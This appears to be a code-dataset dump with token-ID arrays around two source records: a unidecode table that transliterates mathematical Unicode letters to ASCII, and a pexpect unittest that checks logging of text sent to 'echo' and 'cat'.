0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
eleonrk/SickRage
lib/unidecode/x1d6.py
248
3974
data = ( 's', # 0x00 't', # 0x01 'u', # 0x02 'v', # 0x03 'w', # 0x04 'x', # 0x05 'y', # 0x06 'z', # 0x07 'A', # 0x08 'B', # 0x09 'C', # 0x0a 'D', # 0x0b 'E', # 0x0c 'F', # 0x0d 'G', # 0x0e 'H', # 0x0f 'I', # 0x10 'J', # 0x11 'K', # 0x12 'L', # 0x13 'M', # 0x14 'N', # 0x15 'O', # 0x16 'P', # 0x17 'Q', # 0x18 'R', # 0x19 'S', # 0x1a 'T', # 0x1b 'U', # 0x1c 'V', # 0x1d 'W', # 0x1e 'X', # 0x1f 'Y', # 0x20 'Z', # 0x21 'a', # 0x22 'b', # 0x23 'c', # 0x24 'd', # 0x25 'e', # 0x26 'f', # 0x27 'g', # 0x28 'h', # 0x29 'i', # 0x2a 'j', # 0x2b 'k', # 0x2c 'l', # 0x2d 'm', # 0x2e 'n', # 0x2f 'o', # 0x30 'p', # 0x31 'q', # 0x32 'r', # 0x33 's', # 0x34 't', # 0x35 'u', # 0x36 'v', # 0x37 'w', # 0x38 'x', # 0x39 'y', # 0x3a 'z', # 0x3b 'A', # 0x3c 'B', # 0x3d 'C', # 0x3e 'D', # 0x3f 'E', # 0x40 'F', # 0x41 'G', # 0x42 'H', # 0x43 'I', # 0x44 'J', # 0x45 'K', # 0x46 'L', # 0x47 'M', # 0x48 'N', # 0x49 'O', # 0x4a 'P', # 0x4b 'Q', # 0x4c 'R', # 0x4d 'S', # 0x4e 'T', # 0x4f 'U', # 0x50 'V', # 0x51 'W', # 0x52 'X', # 0x53 'Y', # 0x54 'Z', # 0x55 'a', # 0x56 'b', # 0x57 'c', # 0x58 'd', # 0x59 'e', # 0x5a 'f', # 0x5b 'g', # 0x5c 'h', # 0x5d 'i', # 0x5e 'j', # 0x5f 'k', # 0x60 'l', # 0x61 'm', # 0x62 'n', # 0x63 'o', # 0x64 'p', # 0x65 'q', # 0x66 'r', # 0x67 's', # 0x68 't', # 0x69 'u', # 0x6a 'v', # 0x6b 'w', # 0x6c 'x', # 0x6d 'y', # 0x6e 'z', # 0x6f 'A', # 0x70 'B', # 0x71 'C', # 0x72 'D', # 0x73 'E', # 0x74 'F', # 0x75 'G', # 0x76 'H', # 0x77 'I', # 0x78 'J', # 0x79 'K', # 0x7a 'L', # 0x7b 'M', # 0x7c 'N', # 0x7d 'O', # 0x7e 'P', # 0x7f 'Q', # 0x80 'R', # 0x81 'S', # 0x82 'T', # 0x83 'U', # 0x84 'V', # 0x85 'W', # 0x86 'X', # 0x87 'Y', # 0x88 'Z', # 0x89 'a', # 0x8a 'b', # 0x8b 'c', # 0x8c 'd', # 0x8d 'e', # 0x8e 'f', # 0x8f 'g', # 0x90 'h', # 0x91 'i', # 0x92 'j', # 0x93 'k', # 0x94 'l', # 0x95 'm', # 0x96 'n', # 0x97 'o', # 0x98 'p', # 0x99 'q', # 0x9a 'r', # 0x9b 's', # 0x9c 't', # 0x9d 'u', # 0x9e 'v', # 0x9f 'w', # 0xa0 'x', # 0xa1 'y', # 0xa2 'z', # 0xa3 'i', # 0xa4 'j', # 0xa5 '', # 0xa6 '', # 0xa7 'Alpha', # 0xa8 'Beta', # 0xa9 'Gamma', # 0xaa 'Delta', # 0xab 'Epsilon', # 0xac 'Zeta', # 0xad 'Eta', # 0xae 'Theta', # 0xaf 'Iota', # 0xb0 'Kappa', # 0xb1 'Lamda', # 0xb2 'Mu', # 0xb3 'Nu', # 0xb4 'Xi', # 0xb5 'Omicron', # 0xb6 'Pi', # 0xb7 'Rho', # 0xb8 'Theta', # 0xb9 'Sigma', # 0xba 'Tau', # 0xbb 'Upsilon', # 0xbc 'Phi', # 0xbd 'Chi', # 0xbe 'Psi', # 0xbf 'Omega', # 0xc0 'nabla', # 0xc1 'alpha', # 0xc2 'beta', # 0xc3 'gamma', # 0xc4 'delta', # 0xc5 'epsilon', # 0xc6 'zeta', # 0xc7 'eta', # 0xc8 'theta', # 0xc9 'iota', # 0xca 'kappa', # 0xcb 'lamda', # 0xcc 'mu', # 0xcd 'nu', # 0xce 'xi', # 0xcf 'omicron', # 0xd0 'pi', # 0xd1 'rho', # 0xd2 'sigma', # 0xd3 'sigma', # 0xd4 'tai', # 0xd5 'upsilon', # 0xd6 'phi', # 0xd7 'chi', # 0xd8 'psi', # 0xd9 'omega', # 0xda '', # 0xdb '', # 0xdc '', # 0xdd '', # 0xde '', # 0xdf '', # 0xe0 '', # 0xe1 '', # 0xe2 '', # 0xe3 '', # 0xe4 '', # 0xe5 '', # 0xe6 '', # 0xe7 '', # 0xe8 '', # 0xe9 '', # 0xea '', # 0xeb '', # 0xec '', # 0xed '', # 0xee '', # 0xef '', # 0xf0 '', # 0xf1 '', # 0xf2 '', # 0xf3 '', # 0xf4 '', # 0xf5 '', # 0xf6 '', # 0xf7 '', # 0xf8 '', # 0xf9 '', # 0xfa '', # 0xfb '', # 0xfc '', # 0xfd '', # 0xfe '', # 0xff )
gpl-3.0
[ 576, 275, 334, 199, 1159, 297, 259, 327, 378, 88, 383, 199, 1133, 297, 259, 327, 378, 88, 614, 199, 7, 85, 297, 259, 327, 378, 88, 996, 199, 7, 86, 297, 259, 327, 378, 88, 1644, 199, 7, 87, 297, 259, 327, 378, 88, 966, 199, 7, 88, 297, 259, 327, 378, 88, 1717, 199, 7, 89, 297, 259, 327, 378, 88, 1690, 199, 7, 90, 297, 259, 327, 378, 88, 1780, 199, 7, 33, 297, 259, 327, 378, 88, 2036, 199, 7, 34, 297, 259, 327, 378, 88, 1643, 199, 7, 35, 297, 259, 327, 378, 88, 16, 65, 199, 7, 36, 297, 259, 327, 378, 88, 16, 66, 199, 7, 37, 297, 259, 327, 378, 88, 16, 67, 199, 7, 38, 297, 259, 327, 378, 88, 16, 68, 199, 7, 39, 297, 259, 327, 378, 88, 16, 69, 199, 7, 40, 297, 259, 327, 378, 88, 16, 70, 199, 7, 41, 297, 259, 327, 378, 88, 709, 199, 7, 42, 297, 259, 327, 378, 88, 845, 199, 7, 43, 297, 259, 327, 378, 88, 713, 199, 7, 44, 297, 259, 327, 378, 88, 969, 199, 7, 45, 297, 259, 327, 378, 88, 1079, 199, 7, 46, 297, 259, 327, 378, 88, 1046, 199, 7, 47, 297, 259, 327, 378, 88, 975, 199, 7, 48, 297, 259, 327, 378, 88, 1196, 199, 7, 49, 297, 259, 327, 378, 88, 1085, 199, 7, 50, 297, 259, 327, 378, 88, 1167, 199, 7, 51, 297, 259, 327, 378, 88, 17, 65, 199, 7, 52, 297, 259, 327, 378, 88, 17, 66, 199, 7, 53, 297, 259, 327, 378, 88, 17, 67, 199, 7, 54, 297, 259, 327, 378, 88, 17, 68, 199, 7, 55, 297, 259, 327, 378, 88, 17, 69, 199, 7, 56, 297, 259, 327, 378, 88, 17, 70, 199, 7, 57, 297, 259, 327, 378, 88, 1165, 199, 7, 58, 297, 259, 327, 378, 88, 2025, 199, 7, 65, 297, 259, 327, 378, 88, 1081, 199, 7, 66, 297, 259, 327, 378, 88, 1789, 199, 7, 67, 297, 259, 327, 378, 88, 1194, 199, 5121, 297, 259, 327, 378, 88, 821, 199, 7, 69, 297, 259, 327, 378, 88, 1479, 199, 7, 70, 297, 259, 327, 378, 88, 1465, 199, 7, 71, 297, 259, 327, 378, 88, 1651, 199, 7, 72, 297, 259, 327, 378, 88, 1398, 199, 7, 73, 297, 259, 327, 378, 88, 18, 65, 199, 7, 74, 297, 259, 327, 378, 88, 18, 66, 199, 7, 75, 297, 259, 327, 378, 88, 18, 67, 199, 7, 76, 297, 259, 327, 378, 88, 18, 68, 199, 6704, 297, 259, 327, 378, 88, 18, 69, 199, 7, 78, 297, 259, 327, 378, 88, 18, 70, 199, 7, 79, 297, 259, 327, 378, 88, 1216, 199, 7, 80, 297, 259, 327, 378, 88, 2192, 199, 7, 81, 297, 259, 327, 378, 88, 708, 199, 7, 82, 297, 259, 327, 378, 88, 1153, 199, 1159, 297, 259, 327, 378, 88, 1082, 199, 1133, 297, 259, 327, 378, 88, 1276, 199, 7, 85, 297, 259, 327, 378, 88, 1344, 199, 7, 86, 297, 259, 327, 378, 88, 1401, 199, 7, 87, 297, 259, 327, 378, 88, 1703, 199, 7, 88, 297, 259, 327, 378, 88, 1355, 199, 7, 89, 297, 259, 327, 378, 88, 19, 65, 199, 7, 90, 297, 259, 327, 378, 88, 19, 66, 199, 7, 33, 297, 259, 327, 378, 88, 19, 67, 199, 7, 34, 297, 259, 327, 378, 88, 19, 68, 199, 7, 35, 297, 259, 327, 378, 88, 19, 69, 199, 7, 36, 297, 259, 327, 378, 88, 19, 70, 199, 7, 37, 297, 259, 327, 378, 88, 2167, 199, 7, 38, 297, 259, 327, 378, 88, 2953, 199, 7, 39, 297, 259, 327, 378, 88, 2260, 199, 7, 40, 297, 259, 327, 378, 88, 2824, 199, 7, 41, 297, 259, 327, 378, 88, 1602, 199, 7, 42, 297, 259, 327, 378, 88, 2322, 199, 7, 43, 297, 259, 327, 378, 88, 2466, 199, 7, 44, 297, 259, 327, 378, 88, 2417, 199, 7, 45, 297, 259, 327, 378, 88, 2006, 199, 7, 46, 297, 259, 327, 378, 88, 1887, 199, 7, 47, 297, 259, 327, 378, 88, 20, 65, 199, 7, 48, 297, 259, 327, 378, 88, 20, 66, 199, 7, 49, 297, 259, 327, 378, 88, 20, 67, 199, 7, 50, 297, 259, 327, 378, 88, 20, 68, 199, 7, 51, 297, 259, 327, 378, 88, 20, 69, 199, 7, 52, 297, 259, 327, 378, 88, 20, 70, 199, 7, 53, 297, 259, 327, 378, 88, 1400, 199, 7, 54, 297, 259, 327, 378, 88, 2869, 199, 7, 55, 297, 259, 327, 378, 88, 2528, 199, 7, 56, 297, 259, 327, 378, 88, 2481, 199, 7, 57, 297, 259, 327, 378, 88, 1477, 199, 7, 58, 297, 259, 327, 378, 88, 1229, 199, 7, 65, 297, 259, 327, 378, 88, 1367, 199, 7, 66, 297, 259, 327, 378, 88, 1641, 199, 7, 67, 297, 259, 327, 378, 88, 2010, 199, 5121, 297, 259, 327, 378, 88, 1427, 199, 7, 69, 297, 259, 327, 378, 88, 21, 65, 199, 7, 70, 297, 259, 327, 378, 88, 21, 66, 199, 7, 71, 297, 259, 327, 378, 88, 21, 67, 199, 7, 72, 297, 259, 327, 378, 88, 21, 68, 199, 7, 73, 297, 259, 327, 378, 88, 21, 69, 199, 7, 74, 297, 259, 327, 378, 88, 21, 70, 199, 7, 75, 297, 259, 327, 378, 88, 2259, 199, 7, 76, 297, 259, 327, 378, 88, 2976, 199, 6704, 297, 259, 327, 378, 88, 2789, 199, 7, 78, 297, 259, 327, 378, 88, 2766, 199, 7, 79, 297, 259, 327, 378, 88, 772, 199, 7, 80, 297, 259, 327, 378, 88, 2182, 199, 7, 81, 297, 259, 327, 378, 88, 1272, 199, 7, 82, 297, 259, 327, 378, 88, 1822, 199, 1159, 297, 259, 327, 378, 88, 2333, 199, 1133, 297, 259, 327, 378, 88, 1876, 199, 7, 85, 297, 259, 327, 378, 88, 22, 65, 199, 7, 86, 297, 259, 327, 378, 88, 22, 66, 199, 7, 87, 297, 259, 327, 378, 88, 22, 67, 199, 7, 88, 297, 259, 327, 378, 88, 22, 68, 199 ]
[ 275, 334, 199, 1159, 297, 259, 327, 378, 88, 383, 199, 1133, 297, 259, 327, 378, 88, 614, 199, 7, 85, 297, 259, 327, 378, 88, 996, 199, 7, 86, 297, 259, 327, 378, 88, 1644, 199, 7, 87, 297, 259, 327, 378, 88, 966, 199, 7, 88, 297, 259, 327, 378, 88, 1717, 199, 7, 89, 297, 259, 327, 378, 88, 1690, 199, 7, 90, 297, 259, 327, 378, 88, 1780, 199, 7, 33, 297, 259, 327, 378, 88, 2036, 199, 7, 34, 297, 259, 327, 378, 88, 1643, 199, 7, 35, 297, 259, 327, 378, 88, 16, 65, 199, 7, 36, 297, 259, 327, 378, 88, 16, 66, 199, 7, 37, 297, 259, 327, 378, 88, 16, 67, 199, 7, 38, 297, 259, 327, 378, 88, 16, 68, 199, 7, 39, 297, 259, 327, 378, 88, 16, 69, 199, 7, 40, 297, 259, 327, 378, 88, 16, 70, 199, 7, 41, 297, 259, 327, 378, 88, 709, 199, 7, 42, 297, 259, 327, 378, 88, 845, 199, 7, 43, 297, 259, 327, 378, 88, 713, 199, 7, 44, 297, 259, 327, 378, 88, 969, 199, 7, 45, 297, 259, 327, 378, 88, 1079, 199, 7, 46, 297, 259, 327, 378, 88, 1046, 199, 7, 47, 297, 259, 327, 378, 88, 975, 199, 7, 48, 297, 259, 327, 378, 88, 1196, 199, 7, 49, 297, 259, 327, 378, 88, 1085, 199, 7, 50, 297, 259, 327, 378, 88, 1167, 199, 7, 51, 297, 259, 327, 378, 88, 17, 65, 199, 7, 52, 297, 259, 327, 378, 88, 17, 66, 199, 7, 53, 297, 259, 327, 378, 88, 17, 67, 199, 7, 54, 297, 259, 327, 378, 88, 17, 68, 199, 7, 55, 297, 259, 327, 378, 88, 17, 69, 199, 7, 56, 297, 259, 327, 378, 88, 17, 70, 199, 7, 57, 297, 259, 327, 378, 88, 1165, 199, 7, 58, 297, 259, 327, 378, 88, 2025, 199, 7, 65, 297, 259, 327, 378, 88, 1081, 199, 7, 66, 297, 259, 327, 378, 88, 1789, 199, 7, 67, 297, 259, 327, 378, 88, 1194, 199, 5121, 297, 259, 327, 378, 88, 821, 199, 7, 69, 297, 259, 327, 378, 88, 1479, 199, 7, 70, 297, 259, 327, 378, 88, 1465, 199, 7, 71, 297, 259, 327, 378, 88, 1651, 199, 7, 72, 297, 259, 327, 378, 88, 1398, 199, 7, 73, 297, 259, 327, 378, 88, 18, 65, 199, 7, 74, 297, 259, 327, 378, 88, 18, 66, 199, 7, 75, 297, 259, 327, 378, 88, 18, 67, 199, 7, 76, 297, 259, 327, 378, 88, 18, 68, 199, 6704, 297, 259, 327, 378, 88, 18, 69, 199, 7, 78, 297, 259, 327, 378, 88, 18, 70, 199, 7, 79, 297, 259, 327, 378, 88, 1216, 199, 7, 80, 297, 259, 327, 378, 88, 2192, 199, 7, 81, 297, 259, 327, 378, 88, 708, 199, 7, 82, 297, 259, 327, 378, 88, 1153, 199, 1159, 297, 259, 327, 378, 88, 1082, 199, 1133, 297, 259, 327, 378, 88, 1276, 199, 7, 85, 297, 259, 327, 378, 88, 1344, 199, 7, 86, 297, 259, 327, 378, 88, 1401, 199, 7, 87, 297, 259, 327, 378, 88, 1703, 199, 7, 88, 297, 259, 327, 378, 88, 1355, 199, 7, 89, 297, 259, 327, 378, 88, 19, 65, 199, 7, 90, 297, 259, 327, 378, 88, 19, 66, 199, 7, 33, 297, 259, 327, 378, 88, 19, 67, 199, 7, 34, 297, 259, 327, 378, 88, 19, 68, 199, 7, 35, 297, 259, 327, 378, 88, 19, 69, 199, 7, 36, 297, 259, 327, 378, 88, 19, 70, 199, 7, 37, 297, 259, 327, 378, 88, 2167, 199, 7, 38, 297, 259, 327, 378, 88, 2953, 199, 7, 39, 297, 259, 327, 378, 88, 2260, 199, 7, 40, 297, 259, 327, 378, 88, 2824, 199, 7, 41, 297, 259, 327, 378, 88, 1602, 199, 7, 42, 297, 259, 327, 378, 88, 2322, 199, 7, 43, 297, 259, 327, 378, 88, 2466, 199, 7, 44, 297, 259, 327, 378, 88, 2417, 199, 7, 45, 297, 259, 327, 378, 88, 2006, 199, 7, 46, 297, 259, 327, 378, 88, 1887, 199, 7, 47, 297, 259, 327, 378, 88, 20, 65, 199, 7, 48, 297, 259, 327, 378, 88, 20, 66, 199, 7, 49, 297, 259, 327, 378, 88, 20, 67, 199, 7, 50, 297, 259, 327, 378, 88, 20, 68, 199, 7, 51, 297, 259, 327, 378, 88, 20, 69, 199, 7, 52, 297, 259, 327, 378, 88, 20, 70, 199, 7, 53, 297, 259, 327, 378, 88, 1400, 199, 7, 54, 297, 259, 327, 378, 88, 2869, 199, 7, 55, 297, 259, 327, 378, 88, 2528, 199, 7, 56, 297, 259, 327, 378, 88, 2481, 199, 7, 57, 297, 259, 327, 378, 88, 1477, 199, 7, 58, 297, 259, 327, 378, 88, 1229, 199, 7, 65, 297, 259, 327, 378, 88, 1367, 199, 7, 66, 297, 259, 327, 378, 88, 1641, 199, 7, 67, 297, 259, 327, 378, 88, 2010, 199, 5121, 297, 259, 327, 378, 88, 1427, 199, 7, 69, 297, 259, 327, 378, 88, 21, 65, 199, 7, 70, 297, 259, 327, 378, 88, 21, 66, 199, 7, 71, 297, 259, 327, 378, 88, 21, 67, 199, 7, 72, 297, 259, 327, 378, 88, 21, 68, 199, 7, 73, 297, 259, 327, 378, 88, 21, 69, 199, 7, 74, 297, 259, 327, 378, 88, 21, 70, 199, 7, 75, 297, 259, 327, 378, 88, 2259, 199, 7, 76, 297, 259, 327, 378, 88, 2976, 199, 6704, 297, 259, 327, 378, 88, 2789, 199, 7, 78, 297, 259, 327, 378, 88, 2766, 199, 7, 79, 297, 259, 327, 378, 88, 772, 199, 7, 80, 297, 259, 327, 378, 88, 2182, 199, 7, 81, 297, 259, 327, 378, 88, 1272, 199, 7, 82, 297, 259, 327, 378, 88, 1822, 199, 1159, 297, 259, 327, 378, 88, 2333, 199, 1133, 297, 259, 327, 378, 88, 1876, 199, 7, 85, 297, 259, 327, 378, 88, 22, 65, 199, 7, 86, 297, 259, 327, 378, 88, 22, 66, 199, 7, 87, 297, 259, 327, 378, 88, 22, 67, 199, 7, 88, 297, 259, 327, 378, 88, 22, 68, 199, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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''' PEXPECT LICENSE This license is approved by the OSI and FSF as GPL-compatible. http://opensource.org/licenses/isc-license.txt Copyright (c) 2012, Noah Spurrier <noah@noah.org> PERMISSION TO USE, COPY, MODIFY, AND/OR DISTRIBUTE THIS SOFTWARE FOR ANY PURPOSE WITH OR WITHOUT FEE IS HEREBY GRANTED, PROVIDED THAT THE ABOVE COPYRIGHT NOTICE AND THIS PERMISSION NOTICE APPEAR IN ALL COPIES. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ''' import pexpect import unittest import os import tempfile import PexpectTestCase # the program cat(1) may display ^D\x08\x08 when \x04 (EOF, Ctrl-D) is sent _CAT_EOF = b'^D\x08\x08' class TestCaseLog(PexpectTestCase.PexpectTestCase): def test_log (self): log_message = 'This is a test.' filename = tempfile.mktemp() mylog = open(filename, 'wb') p = pexpect.spawn('echo', [log_message]) p.logfile = mylog p.expect(pexpect.EOF) p.logfile = None mylog.close() with open(filename, 'rb') as f: lf = f.read() os.unlink(filename) self.assertEqual(lf.rstrip(), log_message.encode('ascii')) def test_log_logfile_read (self): log_message = 'This is a test.' filename = tempfile.mktemp() mylog = open(filename, 'wb') p = pexpect.spawn('cat') p.logfile_read = mylog p.sendline(log_message) p.sendeof() p.expect(pexpect.EOF) p.logfile = None mylog.close() with open(filename, 'rb') as f: lf = f.read() os.unlink (filename) lf = lf.replace(_CAT_EOF, b'') self.assertEqual(lf, b'This is a test.\r\nThis is a test.\r\n') def test_log_logfile_send (self): log_message = b'This is a test.' filename = tempfile.mktemp() mylog = open (filename, 'wb') p = pexpect.spawn('cat') p.logfile_send = mylog p.sendline(log_message) p.sendeof() p.expect (pexpect.EOF) p.logfile = None mylog.close() with open(filename, 'rb') as f: lf = f.read() os.unlink(filename) lf = lf.replace(b'\x04', b'') self.assertEqual(lf.rstrip(), log_message) def test_log_send_and_received (self): '''The logfile should have the test message three time -- once for the data we sent. Once for the data that cat echos back as characters are typed. And once for the data that cat prints after we send a linefeed (sent by sendline). ''' log_message = 'This is a test.' filename = tempfile.mktemp() mylog = open(filename, 'wb') p = pexpect.spawn('cat') p.logfile = mylog p.sendline(log_message) p.sendeof() p.expect (pexpect.EOF) p.logfile = None mylog.close() with open(filename, 'rb') as f: lf = f.read() os.unlink(filename) lf = lf.replace(b'\x04', b'').replace(_CAT_EOF, b'') self.assertEqual(lf, b'This is a test.\nThis is a test.\r\nThis is a test.\r\n') if __name__ == '__main__': unittest.main() suite = unittest.makeSuite(TestCaseLog,'test')
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 2344, 199, 48, 16957, 5113, 339, 961, 4190, 365, 30055, 701, 314, 25718, 436, 481, 13107, 465, 14629, 13, 6490, 14, 267, 1455, 921, 16374, 14, 1308, 15, 2383, 15, 10840, 13, 1682, 14, 2424, 339, 1898, 334, 67, 9, 6029, 12, 3091, 11326, 428, 6653, 10742, 665, 889, 11326, 32, 889, 11326, 14, 1308, 30, 272, 13873, 22320, 2296, 4815, 12, 9357, 12, 10362, 1914, 18114, 12, 2401, 15, 726, 5266, 3027, 2100, 4586, 5749, 4141, 2381, 1821, 272, 3104, 1663, 1549, 2428, 481, 8699, 2281, 869, 28106, 8285, 21772, 1441, 1149, 12, 7049, 4221, 619, 2334, 16054, 272, 5877, 12840, 2401, 5749, 13873, 22320, 12840, 10319, 1510, 689, 1621, 11727, 4658, 2563, 14, 272, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 2334, 17632, 8990, 51, 11727, 2990, 272, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 272, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 2334, 17632, 6262, 7024, 2381, 272, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 272, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 272, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 1634, 272, 1549, 1621, 11287, 1663, 2334, 4815, 1549, 13873, 30340, 1634, 5749, 4141, 14, 199, 199, 2344, 199, 646, 28855, 199, 646, 2882, 199, 646, 747, 199, 646, 5549, 199, 646, 510, 4921, 1746, 199, 199, 3, 314, 2240, 6230, 8, 17, 9, 1443, 2929, 7167, 36, 60, 88, 2036, 60, 88, 2036, 1380, 971, 88, 966, 334, 13178, 12, 445, 7245, 13, 36, 9, 365, 4847, 199, 63, 11206, 63, 13178, 275, 330, 4289, 36, 60, 88, 2036, 60, 88, 2036, 7, 199, 199, 533, 7640, 2445, 8, 48, 4921, 1746, 14, 48, 4921, 1746, 304, 339, 347, 511, 63, 793, 334, 277, 304, 267, 943, 63, 1188, 275, 283, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 8, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 7878, 297, 359, 793, 63, 1188, 566, 267, 299, 14, 12804, 275, 3002, 793, 267, 299, 14, 4921, 8, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 8, 1501, 9, 267, 291, 14, 629, 8, 276, 14, 6735, 1062, 943, 63, 1188, 14, 2143, 360, 4371, 1333, 339, 347, 511, 63, 793, 63, 12804, 63, 739, 334, 277, 304, 267, 943, 63, 1188, 275, 283, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 8, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 3385, 358, 267, 299, 14, 12804, 63, 739, 275, 3002, 793, 267, 299, 14, 29857, 8, 793, 63, 1188, 9, 267, 299, 14, 2464, 271, 1618, 342, 267, 299, 14, 4921, 8, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 334, 1501, 9, 267, 14642, 275, 14642, 14, 1814, 1547, 11206, 63, 13178, 12, 330, 17483, 267, 291, 14, 629, 8, 276, 12, 330, 7, 2765, 365, 282, 511, 3134, 82, 60, 78, 2765, 365, 282, 511, 3134, 82, 60, 78, 358, 339, 347, 511, 63, 793, 63, 12804, 63, 2254, 334, 277, 304, 267, 943, 63, 1188, 275, 330, 7, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 334, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 3385, 358, 267, 299, 14, 12804, 63, 2254, 275, 3002, 793, 267, 299, 14, 29857, 8, 793, 63, 1188, 9, 267, 299, 14, 2464, 271, 1618, 342, 267, 299, 14, 4921, 334, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 8, 1501, 9, 267, 14642, 275, 14642, 14, 1814, 8, 66, 1154, 88, 966, 297, 330, 17483, 267, 291, 14, 629, 8, 276, 14, 6735, 1062, 943, 63, 1188, 9, 339, 347, 511, 63, 793, 63, 2254, 63, 460, 63, 9226, 334, 277, 304, 398, 1449, 1918, 17251, 1077, 1172, 314, 511, 1245, 7795, 900, 1553, 5403, 367, 314, 267, 666, 781, 4847, 14, 19468, 367, 314, 666, 626, 6230, 325, 335, 736, 1771, 465, 4110, 787, 267, 20041, 14, 6061, 5403, 367, 314, 666, 626, 6230, 14767, 2410, 781, 3222, 282, 1004, 3871, 267, 334, 1150, 701, 3222, 604, 680, 1449, 398, 943, 63, 1188, 275, 283, 2765, 365, 282, 511, 3530, 267, 1788, 275, 5549, 14, 22136, 342, 267, 3002, 793, 275, 1551, 8, 1501, 12, 283, 6603, 358, 267, 299, 275, 28855, 14, 10212, 360, 3385, 358, 267, 299, 14, 12804, 275, 3002, 793, 267, 299, 14, 29857, 8, 793, 63, 1188, 9, 267, 299, 14, 2464, 271, 1618, 342, 267, 299, 14, 4921, 334, 16531, 1764, 14, 13178, 9, 267, 299, 14, 12804, 275, 488, 267, 3002, 793, 14, 1600, 342, 267, 543, 1551, 8, 1501, 12, 283, 4848, 358, 465, 289, 26, 288, 14642, 275, 289, 14, 739, 342, 267, 747, 14, 7162, 8, 1501, 9, 267, 14642, 275, 14642, 14, 1814, 8, 66, 1154, 88, 966, 297, 330, 7, 1959, 1814, 1547, 11206, 63, 13178, 12, 330, 17483, 267, 291, 14, 629, 8, 276, 12, 355, 330, 7, 2765, 365, 282, 511, 3134, 78, 2765, 365, 282, 511, 3134, 82, 60, 78, 2765, 365, 282, 511, 3134, 82, 60, 78, 358, 199, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2882, 14, 973, 342, 199, 199, 5768, 275, 2882, 14, 18275, 8, 1746, 2445, 2584, 396, 358, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 2344, 199, 48, 16957, 5113, 339, 961, 4190, 365, 30055, 701, 314, 25718, 436, 481, 13107, 465, 14629, 13, 6490, 14, 267, 1455, 921, 16374, 14, 1308, 15, 2383, 15, 10840, 13, 1682, 14, 2424, 339, 1898, 334, 67, 9, 6029, 12, 3091, 11326, 428, 6653, 10742, 665, 889, 11326, 32, 889, 11326, 14, 1308, 30, 272, 13873, 22320, 2296, 4815, 12, 9357, 12, 10362, 1914, 18114, 12, 2401, 15, 726, 5266, 3027, 2100, 4586, 5749, 4141, 2381, 1821, 272, 3104, 1663, 1549, 2428, 481, 8699, 2281, 869, 28106, 8285, 21772, 1441, 1149, 12, 7049, 4221, 619, 2334, 16054, 272, 5877, 12840, 2401, 5749, 13873, 22320, 12840, 10319, 1510, 689, 1621, 11727, 4658, 2563, 14, 272, 2334, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 2334, 17632, 8990, 51, 11727, 2990, 272, 1663, 14142, 7816, 2296, 5749, 4141, 6931, 11727, 5292, 2990, 1634, 272, 3169, 2401, 3092, 14, 1621, 4825, 6461, 7000, 2334, 17632, 6262, 7024, 2381, 272, 1821, 8820, 12, 8703, 12, 9168, 12, 1549, 9110, 6736, 1549, 1821, 6736, 272, 28752, 4118, 27362, 20668, 1206, 4442, 9102, 1634, 4815, 12, 7126, 1549, 9206, 12, 7061, 1621, 1261, 272, 9612, 1634, 7066, 12, 9254, 1549, 5010, 7056, 25657, 9612, 12, 7043, 5738, 1634, 272, 1549, 1621, 11287, 